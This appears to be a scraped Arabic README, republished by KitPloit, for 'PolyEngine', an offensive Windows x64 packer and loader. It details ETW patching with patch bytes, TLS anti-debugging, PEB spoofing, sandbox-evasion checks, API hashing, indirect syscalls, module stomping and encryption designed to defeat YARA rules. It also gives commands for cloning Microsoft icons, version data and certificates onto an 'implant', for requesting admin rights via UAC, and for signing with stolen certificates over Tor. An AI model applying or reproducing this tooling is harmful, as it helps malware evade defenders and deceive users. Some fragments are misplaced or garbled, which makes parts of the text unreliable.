**اشتقاق مفتاح XTEA الخارجي** (`Xtea_DeriveKey`): يتم بناء المفتاح 128 بت في وقت التشغيل من عمليات حسابية على ثوابت أرقام غير نسبية (φ، √2، √3، √5، √10 موسعة إلى 32 بت). جميع ثوابت البذور الخمسة نفسها مقسمة إلى أزواج XOR متطايرة (`A ^ B`) بحيث لا يظهر أي تسلسل بايتات غير نسبي بنص واضح في `.rdata` — الاسترداد يتطلب تشغيل الاشتقاق. لا توجد كتلة مفتاح مستمرة بطول 16 بايت في الثنائي. المفتاح النهائي هو `derived_base XOR key_salt`، حيث `key_salt` هو 16 بايت من خرج `CryptGenRandom` المخزنة في `.rsrc` — كل بناء ينتج تيار مفتاح فريد.

**سحر ديناميكي (لا مرساة YARA ثابتة):** تنتهي كتلة البيانات الوصفية `.rsrc` بـ `magic = key_salt[0]^key_salt[1]^key_salt[2]^key_salt[3]`. يحدد الكعب (Stub) الكتلة بالمسح للخلف والتحقق من هذا الثابت — لا يوجد `0xDEADBEEF` أو ثابت ثابت آخر يمكن لقاعدة YARA التثبيت عليه.

</details>

<details>
<summary><b>استدعاء TLS لمكافحة التصحيح</b></summary>

يستدعي محمل Windows استدعاءات TLS من `.CRT$XLB` **قبل** أن يتسلم `AddressOfEntryPoint` السيطرة — قبل وجود أي حمولة في الذاكرة. في تلك اللحظة يتم فحص البيئة بدون أي تبعيات API خارجية (فقط تعليمات CPU داخلية وقراءات PEB مباشرة):

| الفحص | حقل PEB / Heap | حالة الكشف |
|---|---|---|
| BeingDebugged | `PEB+0x002` | أي مصحح Win32 متصل |
| NtGlobalFlag | `PEB+0xBC` (x64) | بتات `0x70` تعينها ntdll تحت مصحح |
| أعلام Heap | `ProcessHeap+0x70` (x64) | قيمة != 2 (HEAP_GROWABLE) |
| أعلام Heap ForceFlags | `ProcessHeap+0x74` (x64) | قيمة != 0 |

عند الكشف: `__fastfail(FAST_FAIL_FATAL_APP_EXIT)` — يتجاوز جميع معالجات الاستثناءات في وضع المستخدم (VEH، SEH، UnhandledExceptionFilter). يسجل WER `STATUS_STACK_BUFFER_OVERRUN (c0000409)`، غير قابل للتمييز عن تعطل سلامة ذاكرة مشروع.

يمكن تعطيله في وقت البناء باستخدام `--disable tls`. يضع المنشئ رقعة علامة بطول 5 بايت في كعب المحمل لتحييد الاستدعاء قبل التضمين.

</details>

<details>
<summary><b>تصحيح ETW</b></summary>

يكتب `Opsec_PatchEtw()` عدم تشغيل بطول 3 بايت إلى البايتات الأولى لـ `EtwEventWrite` في ntdll للعملية:```asm
; After patch:
33 C0    xor eax, eax   ; return STATUS_SUCCESS (0)
C3       ret
انتحال PEB (PEB Spoofing)

تقوم Opsec_SpoofPeb() بإعادة كتابة:

  • PEB.ImageBaseFileName — اسم العملية الذي يظهره Process Hacker وغيره
  • PEB.ImagePathName و PEB.CommandLine — المسار الكامل الظاهر في قوائم العمليات
  • PEB.BeingDebugged = 0، PEB.NtGlobalFlag = 0 — أعلام مكافحة التصحيح
  • ProcessHeap.Flags = 2، ProcessHeap.ForceFlags = 0 — أعلام تصحيح الكومة

يتم تعيين اسم الملف المزيف عبر --spoof-name. إذا تم حذفه، يختار Builder عشوائياً من مجموعة مكونة من 9 عمليات System32 شائعة (RuntimeBroker.exe، SgrmBroker.exe، WmiPrvSE.exe، SearchIndexer.exe، ، ، ، ، ) باستخدام .

فحوصات الصندوق الرملي ومكافحة التحليل (Sandbox & Anti-Analysis Checks)

يتم تشغيل Evasion_RunChecks() قبل أي تهيئة لاستدعاءات النظام وتستخدم فقط طبقة Win32 API. يمكن تفعيل/تعطيل كل فحص على حدة عبر --disable.

الفحوصات الصعبة — أي نتيجة إيجابية واحدة تؤدي إلى الخروج الفوري:

تجزئة واجهات API — Djb2

يتم استبدال جميع أسماء واجهات Windows API في وقت التجميع بهاشات Djb2 محسوبة مسبقاً ومخزنة كمتغيرات عامة g_Hash_*. يقوم GetProcAddressH() بجولة في دليل التصدير وتجزئة كل اسم مُصدّر حتى يتم العثور على تطابق — لا يظهر أي نص API عادي في جدول الاستيراد أو .data.

استنساخ الهوية — --clone-meta

خطوة اختيارية بعد البناء (المرحلة 11) تنسخ ثلاث سمات تجميلية من ملف PE مانح إلى المخرجات التي تم بناؤها بالفعل. تعمل بعد BuildInfectedPE (الذي يعيد كتابة .rsrc بالكامل — أي شيء مكتوب سابقاً سيضيع) وقبل SignPeWithPfx (الذي يكتب فوق دليل الشهادة بتوقيع حقيقي إذا تم إعطاء --pfx أيضاً).

CloneMeta_CopyResources يحمل المانح كملف بيانات مسطح (LOAD_LIBRARY_AS_DATAFILE — متعمداً بدون LOAD_LIBRARY_AS_IMAGE_RESOURCE، الذي ينشط إعادة توجيه موارد MUI لملفات النظام ويوجه استعلامات RT_GROUP_ICON إلى ملف .mui تابع للغة لا يحتوي على أيقونات). يتم تعداد RT_VERSION عبر EnumResourceLanguagesA لجمع جميع معرفات اللغة؛ يتم كتابة كل متغير باستخدام . بالنسبة لـ ، يتم اختيار المجموعة ذات معرف العدد الصحيح الأدنى (التي يستخدمها Explorer لأيقونة الشل تقليدياً). لا يتم استخدام للبحث الفعلي عن البيانات — فهو يفشل مع (1813) على مقابض حتى للموارد التي وجدها للتو، لأن مسار الاسترجاع معطل في وضع ملف البيانات. بدلاً من ذلك، يقوم باستخراج الدقيق المخزن في المانح، ثم يستخدمه مباشرة. جميع استدعاءات تفتح ملف PE الناتج باستخدام — علم الدمج يحافظ على إدخال الحالي للحمولة من المرحلة 10.

التوقيع بـ Authenticode — --pfx

خطوة اختيارية بعد البناء. عند توفير --pfx، يقوم Builder بتوقيع المخرجات المعبأة عبر mssign32!SignerSignEx2 (يتم حله في وقت التشغيل — لا اعتماد على mssign32 في وقت الربط، ولا signtool.exe على محطة عمل المشغل). يتم التوقيع في المرحلة 9 بعد إرجاع BuildInfectedPE، لأن كتابة التوقيع تعيد كتابة IMAGE_DIRECTORY_ENTRY_SECURITY وتعيد حساب المجموع الاختباري للـ PE؛ أي تعديل لاحق للمورد سيبطل التوقيع.

يتم استيراد PFX باستخدام PKCS12_NO_PERSIST_KEY | PKCS12_PREFER_CNG_KSP | PKCS12_INCLUDE_EXTENDED_PROPERTIES. يحافظ NO_PERSIST_KEY على المفتاح الخاص مقيمًا في الذاكرة فقط — لا يتم كتابة ملف حاوية مفتاح تحت %APPDATA%\Microsoft\Crypto، والذي كان سيربط محطة عمل المشغل بالعينة الموقعة. PREFER_CNG_KSP مطلوب لـ PFX الحديثة (PowerShell New-SelfSignedCertificate، OpenSSL ≥3.x); بدونه يفشل مع (). خوارزمية الهاش هي SHA-256.


تخطيط كتلة موارد .rsrc

الحمولة (Resource payload) ليست ثابتة في المعرف 101. في وقت التعبئة يقوم Builder:

  1. بسحب معرف WORD لنوع RT_RCDATA عبر CryptGenRandom في النطاق 0x0100..0x7EFF
  2. بتصحيح بايتات LE في g_PayloadResIdMarker[4..5] داخل دالة التحميل (علامة {0xB1,0x0B,0x1D,0xE0} في Payload.c; الافتراضي غير المصحح = 101)
  3. بتشغيل StubMorph_Apply على صورة الدالة
  4. بكتابة UpdateResource(RT_RCDATA, id) = [كتلة مشفرة بـ XTEA | PAYLOAD_METADATA (280 بايت)]

في وقت التشغيل، تقرأ الدالة العلامة وتستدعي FindResourceW بهذا المعرف. يتم تحديد موقع كتلة البيانات الوصفية (metadata block) عن طريق المسح العكسي من نهاية المورد (حتى 128 بايت، مع تحمل حشو المحاذاة لـ UpdateResource) والتحقق من magic == XOR(key_salt[0..3]).

تخطيط الحقول حقلاً بحقل``` [XTEA-encrypted blob] [key_salt : 16 bytes] per-build random XTEA salt (4 x DWORD) [dll_idx0 : 1 byte ] index into g_DllPool (module stomping target 1) [dll_idx1 : 1 byte ] index into g_DllPool (module stomping target 2) [dll_idx2 : 1 byte ] index into g_DllPool (module stomping target 3) [pad : 1 byte ] alignment (0x00) [origSize : 4 bytes] original decompressed PE size (ULONG) [stubSize : 4 bytes] mutated ASM decryptor size (DWORD) [blobSize : 4 bytes] XTEA blob size (DWORD) [exportHash : 4 bytes] Djb2(exportName, key_salt[0]); 0 = none [exportArg : 128 bytes] null-terminated export argument string (zero-padded) [spoof_exe : 64 bytes] ASCII filename for PEB spoof (zero-padded) [semaphore_name : 32 bytes] exec-ctrl semaphore name; empty = default "wuauctl" (zero-padded) [sleep_fwd_ms : 4 bytes] sleep-fwd check duration (ms); 0 = default 500 [uptime_min : 4 bytes] uptime threshold (minutes); 0 = default 2 [hammer_ms : 4 bytes] API-hammer delay (ms); 0 = default 3000 [flags : 4 bytes] OPSEC_FLAG_* + EVASION_FLAG_* + PAYLOAD_FLAG_* bitmask [magic : 4 bytes] key_salt[0]^key_salt[1]^key_salt[2]^key_salt[3] ────────────────────────────── Total: 280 bytes (kMagicOffset = 276) ``` `flags` bits (see `Engine/OpsecFlags.h`): OPSEC 0–5, evasion/unhook 6–16, `PAYLOAD_FLAG_IS_SHELLCODE` (17).

لا توجد قيمة ثابتة في أي مكان في الكتلة — كل حقل إما عشوائي (key_salt, magic) أو خاص بالبناء. معرف RT_RCDATA هو أيضًا لكل بناء. لا يمكن لـ YARA التثبيت على تسلسل بايت ثابت أو معرف مورد ثابت.

رموز خروج المُحمل (الإصدار): جميع مسارات فشل المُحمل تخرج برمز 0 عبر LOADER_EXIT (Stub/Common.h). تُبقي بنيات التصحيح رموزًا مميزة لتشخيص الخطوات. اكتشافات الإفلات تخرج بالفعل بـ 0.


تجمع DLL لـ Module Stomping

يختار المنشئ --preset 3 مؤشرات DLL مخزنة في .rsrc. يحل الكعب الأساسي الأسماء من g_DllPool في وقت التشغيل — لا يظهر اسم DLL في الحمولة أو البيانات الوصفية.

جدول تجمع DLL

هيكل المشروع

شجرة الملفات``` PolyEngine/ ├── Builder/ — packer CLI (links selected Engine units) │ ├── Builder.cpp — CLI, ResolveStubPath (stub_v* pool), pipeline orchestration │ ├── CloneMeta.cpp/h — VERSIONINFO + icon + cert directory (--clone-meta) │ ├── PeSigning.cpp/h — Authenticode via mssign32!SignerSignEx2 (--pfx) │ └── UacManifest.cpp/h — RT_MANIFEST requireAdministrator (--uac) ├── Engine/ — shared sources (subset linked into Builder and/or Stub) │ ├── Compression.c/h — LZNT1 compress (Builder) / decompress helpers │ ├── Crypto.c/h — CompoundEncrypt inner cipher (XOR+ROL+ADD+XOR) │ ├── DecryptorStub.asm — 34-byte polymorphic decryptor template │ ├── MutationEngine.c/h — per-build ASM decryptor mutation (Builder) │ ├── NtApi.c/h — NT API pointer table (Stub binds via HellsHall) │ ├── OpsecFlags.h — OPSEC_FLAG_* + EVASION_FLAG_* + PAYLOAD_FLAG_* bits │ ├── PeBuilder.c/h — PAYLOAD_METADATA (280 B) + .rsrc inject + marker patches │ ├── StubMorph.c/h — pack-time PE morph: timestamp, section-name profiles, island+tag randomize (Builder only) │ ├── RunPE.c/h — in-process PE map (IAT, relocs, DllMain / EXE EP) │ └── Xtea.c/h — XTEA-CTR + irrational-constant key derivation └── Stub/ — CRT-free runtime; Release|x64 → stub_v0.bin .. stub_v3.bin ├── Stub.cpp — EntryPoint → Loader_* phases; POLY_VARIANT OPSEC order ├── PolyIslands.c — marker-bracketed NOP pads + per-variant decoy blob ├── ApiHashing.cpp/h — Djb2 hash cache, GetProcAddressH, GetModuleHandleH ├── Common.c/h — custom_memcpy/memset/memcmp; LOADER_EXIT (Release→0) ├── Evasion.cpp/h — HammerDelay + RunChecks (sandbox / debugger) ├── HellsHall.asm — indirect syscall + Moonwalk RSP pivot (deny-list / shared) ├── ModuleStomping.c/h — ModuleStomp_Alloc / ModuleOverload_Alloc ├── Opsec.c/h — ETW patch, PEB spoof ├── Payload.c/h — g_PayloadResIdMarker, GetPayloadFromResource, decompress ├── StubNtApi.c — Sys_Nt* wrappers → HellsHall ├── Structs.h — NT structs (no DDK) ├── Syscalls.c/h — FreshyCalls SSN sort, syscall;ret trampoline in ntdll .text ├── TlsCallback.c — pre-EP anti-debug + TLS guard marker ├── Unhooker.c/h — optional \KnownDlls\ .text restore (--unhook) └── StackSpoof.c/h — gadget pool + per-call synthetic stack configs ```

التبعيات

  • الهدف Windows 10/11 x64
  • Visual Studio 2022 (MSVC v143) — بدون مكتبات خارجية
  • Stub: تبعية CRT صفرية (/NODEFAULTLIB)، لا malloc/free، لا <string.h>

تم الصيانة بواسطة: Razz | مبني لأبحاث أمنية واعية بـ opsec وللمتعة

المساعدة في التنفيذ تمت بواسطة Claude Code و Grok و DeepSeek


الترخيص

MIT — الاستخدام المصرح به فقط. راجع LICENSE للإخلاء الكامل.

تنزيل الأداة

اسم التزييف هو مجرد اسم ملف ASCII - يقوم Stub بإضافة C:\Windows\System32\ في وقت التشغيل. أي شيء ليس في مجموعة العمليات الافتراضية المكونة من 9 عمليات يعمل أيضًا.

root@kitploit:~
`--disable all` يغطي فقط فحوصات وضع الحماية/التصحيح. يجب ذكر رموز OPSEC (`etw`, `spoofing`, `peb`, `tls`) صراحةً.

</details>

<details>
<summary><b>استنساخ الهوية — VERSIONINFO، الأيقونة، شهادة Authenticode</b></summary>

انسخ الهوية التجميلية لأي ملف PE مانح إلى المخرجات المضغوطة. تعكس خصائص المستكشف للملف الثنائي المخرَج، وأيقونة شريط المهام، وعلامة تبويب التوقيعات الرقمية جميعها المانح:```
Builder.exe implant.exe notepad.exe --clone-meta C:\Windows\System32\notepad.exe
Builder.exe implant.exe OneDrive.exe --clone-meta "C:\Program Files\Microsoft OneDrive\OneDrive.exe"

ما الذي يتم استنساخه:

  • VERSIONINFO (RT_VERSION) — علامة التبويب "خصائص → تفاصيل" في مستكشف الملفات: الشركة، اسم المنتج، إصدار الملف، حقوق النشر. يتم نسخ جميع معرفات اللغة الموجودة في الملف المانح.
  • الأيقونة (RT_GROUP_ICON + RT_ICON) — مجموعة الأيقونات ذات المعرف الأدنى (التي يستخدمها مستكشف الملفات لأيقونة الصدفة). يعرض شريط المهام، و alt-tab، ومتصفح الملفات جميعها أيقونة المانح.
  • دليل شهادة Authenticode — يتم إلحاق blob PKCS#7 الخام WIN_CERTIFICATE في نهاية الملف محاذاة لـ 8 بايت. تُظهر علامة التبويب "خصائص → التوقيعات الرقمية" في مستكشف الملفات الموقع المانح (مثل Microsoft Windows). يُرجع Get-AuthenticodeSignature Status = HashMismatch — التوقيع صحيح هيكليًا ولكن التجزئة تغطي بايتات المانح، وليس بايتاتنا. يخدع الفحص البصري العادي؛ أي مدقق حقيقي (signtool verify, WinVerifyTrust, محركات مكافحة الفيروسات) يكتشف عدم التطابق.

OPSEC — OriginalFilename: يقوم VERSIONINFO للمانح بتضمين OriginalFilename (مثل notepad.exe). تضع بعض أدوات فحص التوقيعات وخوارزميات Defender علامة على عدم التطابق بين OriginalFilename واسم الملف الفعلي على القرص. قم بتسمية المخرجات لتتوافق:``` Builder.exe implant.exe notepad.exe --clone-meta notepad.exe

root@kitploit:~
**الدمج مع `--pfx`:** عند وجود كلا العلمين، يتم تشغيل المرحلة 11 (الاستنساخ) قبل المرحلة 12 (التوقيع). يقوم التوقيع الحقيقي بالكتابة فوق دليل الشهادة المستنسخة؛ يتم الاحتفاظ بـ VERSIONINFO والأيقونة. يُظهر `Get-AuthenticodeSignature` شهادتك على أنها صالحة، وليست شهادة المتبرع غير المتطابقة في التجزئة:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx self.pfx --pfx-pass hunter2

التحقق:```powershell

Fake cert clone (no --pfx): expect HashMismatch, donor signer

Get-AuthenticodeSignature .\notepad.exe | Format-List *

Real signature (--pfx): expect Valid, your cert

Get-AuthenticodeSignature .\notepad.exe | Format-List *

signtool independent check

signtool verify /pa /v notepad.exe

root@kitploit:~
</details>

<details>
<summary><b>رفع امتياز UAC — بيان requireAdministrator</b></summary>

قم بتضمين بيان `requestedExecutionLevel="requireAdministrator"` بحيث يؤدي PE الناتج إلى ظهور موجه UAC عند التشغيل ويتلقى رمزًا عالي التكامل إذا وافق المستخدم:```
Builder.exe implant.exe packed.exe --uac

البيان هو مورد RT_MANIFEST (معرف المورد 1 — CREATEPROCESS_MANIFEST_RESOURCE_ID)، نفس الفتحة التي يفحصها محمل ويندوز لبيانات توافق التطبيق وبيانات الامتيازات. والمخرجات مماثلة تمامًا لبناء بدون --uac؛ لا تغييرات على Stub أو مسار الحمولة.

الدمج مع --clone-meta و --pfx: تعمل المرحلة 10.5 (البيان) قبل المرحلة 11 (الاستنساخ) والمرحلة 12 (التوقيع). تغطي توقيع Authenticode المحسوب في المرحلة 12 جميع الموارد المضمنة بما في ذلك البيان — تكون تجزئة التجزئة صالحة على الملف الثنائي النهائي. يعرض مربع حوار UAC اسم الناشر من شهادة التوقيع:``` Builder.exe implant.exe notepad.exe --uac --clone-meta notepad.exe --pfx self.pfx --pfx-pass hunter2

root@kitploit:~
**OPSEC:** طلب موافقة المستخدم (UAC) هو حدث مرئي يواجه المستخدم. يعرض مربع الحوار "هل تريد السماح لهذا التطبيق بإجراء تغييرات على جهازك؟" اسم الملف الموجود على القرص والناشر Authenticode (أو "ناشر غير معروف" إذا لم يكن موقّعًا). اجمع `--uac` مع `--clone-meta` لإظهار رمز مألوف و`--pfx` لإظهار ناشر موثوق. بالنسبة للتنفيذ غير المراقب الذي يبدأ بالفعل من عملية مرتفعة (مثل خدمة، حركة جانبية WMI، قشرة مسؤول محلي)، فإن `--uac` غير ضروري.

</details>

<details>
<summary><b>توقيع Authenticode (PFX، بدون signtool)</b></summary>

قم بتوقيع الإخراج المعبأ بشهادة PFX. يتحدث المنشئ مباشرة إلى `mssign32!SignerSignEx2` — لا حاجة لـ `signtool.exe` على محطة عمل المشغل، ولا حاجة لأداة توقيع Windows SDK:```
Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2

PFX بدون كلمة مرور (احذف العلم --pfx-pass بالكامل):``` Builder.exe implant.exe packed.exe --pfx cert.pfx

root@kitploit:~
أضف طابعًا زمنيًا وفقًا لمعيار RFC 3161 بحيث يظل التوقيع صالحًا بعد انتهاء صلاحية الشهادة أو إبطالها. لاحظ أن سلطة الطابع الزمني تسجل عنوان IP للبناء ولحظة التوقيع الدقيقة — راجع ملاحظة OPSEC أدناه:```
Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2 --ts-url http://timestamp.digicert.com
Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.sectigo.com
Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.globalsign.com/tsa/r6advanced1

OPSEC — متى تتجاوز الطابع الزمني: --ts-url هو اختياري. كل طلب إلى TSA عام يضع مضيف البناء الخاص بالمشغل في سجلات HTTP الخاصة بـ TSA مع الثانية المحددة التي تم فيها إنشاء التوقيع — وهو ارتباط جنائي قوي إذا ظهرت العينة لاحقًا في الاستجابة للحوادث. كما أن تضمين الطابع الزمني يطبع نفس تلك اللحظة في كتلة التوقيع داخل PE المضغوط، حيث يمكن لأي محلل لاحق قراءتها. عندما لا يكون الطابع الزمني مطلوبًا (عادةً للشهادات الموقعة ذاتيًا أو العمليات قصيرة الأجل حيث لا تهم صلاحية التوقيع بعد انتهاء صلاحية الشهادة)، تجاهل العلامة ويظل التوقيع قابلًا للعزل الجوي بالكامل.

OPSEC — متى تحتفظ بالطابع الزمني: الشهادات المسروقة أو قصيرة الأجل لتوقيع الكود التي سيتم إبطالها تستفيد من توقيع مضاد من TSA — يقبل Windows التوقيع بعد الإبطال طالما أن الطابع الزمني يسبق إدخال الإبطال. في هذه الحالة، قم بالتوقيع من VM معزولة عبر وكيل / Tor، وتعامل مع سجلات TSA على أنها تعرض متعمد (ولكن محصور).

المفتاح الخاص لا يتم حفظه مطلقًا: يتم استدعاء PFXImportCertStore مع PKCS12_NO_PERSIST_KEY، لذلك لا يظهر أي حاوية مفاتيح ضمن %APPDATA%\Microsoft\Crypto. ملخص SHA-256، KSP المفضل CNG للتوافق مع PFXs المنتجة بواسطة New-SelfSignedCertificate و OpenSSL ≥3.x.

تم التطبيق عبر NtProtectVirtualMemory (عبر HellsHall + Moonwalk RSP pivot). يحتفظ متغير منفصل pPage بالعنوان الأساسي لـ NtProtect (قد يقوم النواة بتقريبه إلى حدود الصفحة); يتم الاحتفاظ بـ pEtw لكتابة البايت الفعلية.

taskhostw.exe
spoolsv.exe
wlrmdr.exe
WMPDMC.exe
hvix64.exe
CryptGenRandom
الفحصالطريقةما يكتشفه
debuggerPEB.BeingDebugged، PEB.NtGlobalFlag، أعلام ProcessHeap، NtQueryInformationProcess(ProcessDebugPort)وجود مصحح Win32 متصل
api-emuRtlComputeCrc32(seed, NULL, 0) — يجب أن يساوي seedمحاكاة API تعيد نتائج خاطئة
exec-ctrlكائن إشارة (Semaphore) مسمى (wuauctl افتراضياً، قابل للتكوين) — ERROR_ALREADY_EXISTSتنفيذ ثانٍ للعينة
sleep-fwdSleep(ms) + GetTickCount64 delta، العتبة = 90% من msصندوق رملي يقوم بتسريع استدعاءات Sleep

الفحوصات اللينة — يلزم وجود نتيجتين إيجابيتين أو أكثر للخروج (لتقليل النتائج الإيجابية الخاطئة):

الفحصالعتبةما يكتشفه
uptimeوقت تشغيل النظام < N دقيقة (الافتراضي: 2)جهاز صندوق رملي تم إنشاؤه حديثاً
cpuعدد المعالجات المنطقية < 2صندوق رملي بمواصفات منخفضة
screenعرض الشاشة ≤ 1024 بكسلدقات 800×600 / 1024×768 الشائعة في صناديق الرمال
filesعدد المفاتيح الفرعية HKCU\...\Explorer\RecentDocs < 5ملف تعريف مستخدم نظيف / مزيف

تأخير زمني:

يقوم Evasion_HammerDelay() بحرق زمن حقيقي على مدار الساعة عبر أزواج VirtualAlloc/VirtualFree موقوتة بـ GetTickCount64. المدة قابلة للتكوين عبر --hammer-s (الافتراضي: 3 ثوانٍ). لا يمكن لمسرعات وقت الصندوق الرملي تسريع تكاليف الذهاب والإياب للمخصص، مما يجعل هذا فعالاً ضد التهرب من تسريع النوم الذي يتجاوز فحص sleep-fwd.

UpdateResourceA
RT_GROUP_ICON
FindResourceA
ERROR_RESOURCE_NAME_NOT_FOUND
LOAD_LIBRARY_AS_DATAFILE
EnumResourceNamesA
LANG_NEUTRAL
EnumResourceLanguagesA
LANGID
FindResourceExA
UpdateResourceA
BeginUpdateResourceA(FALSE)
.rsrc

CloneMeta_CopyCertDirectory يقرأ المانح في مخزن مؤقت مسطح عبر ReadFileToBuffer، ويحلل رؤوس DOS → NT (يدعم كلاً من المانحين x86 و x64 عبر توزيع OptionalHeader.Magic)، ويستخرج DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY]. يستخدم إدخال الدليل هذا إزاحة ملف (وليس RVA) — وهو دليل البيانات الوحيد في PE حيث VirtualAddress هو إزاحة بايت خام في الملف. يتم إلحاق كتلة الشهادة في نهاية الملف بمحاذاة 8 بايت (متطلب محاذاة WIN_CERTIFICATE)، ويتم تعديل إدخال دليل SECURITY في الهدف في مكانه، ثم يقوم MapFileAndCheckSumA (من imagehlp.lib) بإعادة حساب المجموع الاختباري للـ PE. يتم إغلاق مقبض الكتابة قبل استدعاء MapFileAndCheckSumA — يفتح MapFileAndCheckSumA مقبضه الداخلي الخاص وسيفشل مع انتهاك للمشاركة إذا كان المتصل يحمل مقبض كتابة حصري — ثم يُعاد فتحه لفترة وجيزة لكتابة 4 بايت فقط من المجموع الاختباري في إزاحة الملف المحسوبة.

SignerSignEx2
NTE_BAD_TYPE
0x8009000A

--ts-url اختياري. إضافة طابع زمني RFC 3161 يرسل طلب HTTP إلى سلطة الطابع الزمني، الذي يسجل عنوان IP للطالب بالإضافة إلى لحظة التوقيع، ويُدمج تلك اللحظة في كتلة التوقيع داخل PE. تجاهل العلم للتوقيع المنفصل تماماً (air-gappable)؛ استخدمه فقط عندما يجب أن يتجاوز التوقيع العمر الافتراضي للشهادة (مثل شهادات التوقيع المسروقة / قصيرة العمر التي سيتم إبطالها).

الفهرسDLLالمجموعة
0xpsservices.dllPRINT
1msi.dllPRINT
2dbghelp.dllPRINT
3winmm.dllMEDIA
4dxgi.dllMEDIA
5oleaut32.dllMEDIA
6winhttp.dllNETWORK
7wtsapi32.dllNETWORK
8wlanapi.dllNETWORK
9bcrypt.dll(RANDOM-only)

الفهرس 9 (bcrypt.dll) لا يمكن الوصول إليه إلا عبر --preset RANDOM؛ تغطي الإعدادات المسماة المؤشرات 0–8 في مجموعات من ثلاثة. يتحقق المنشئ في وقت البناء من أن واحدًا على الأقل من DLLs الثلاثة المحددة يحتوي على قسم قابل للتنفيذ كبير بما يكفي لحمولة الحمولة، ويحذر إذا لم يكن أي منها مؤهلاً.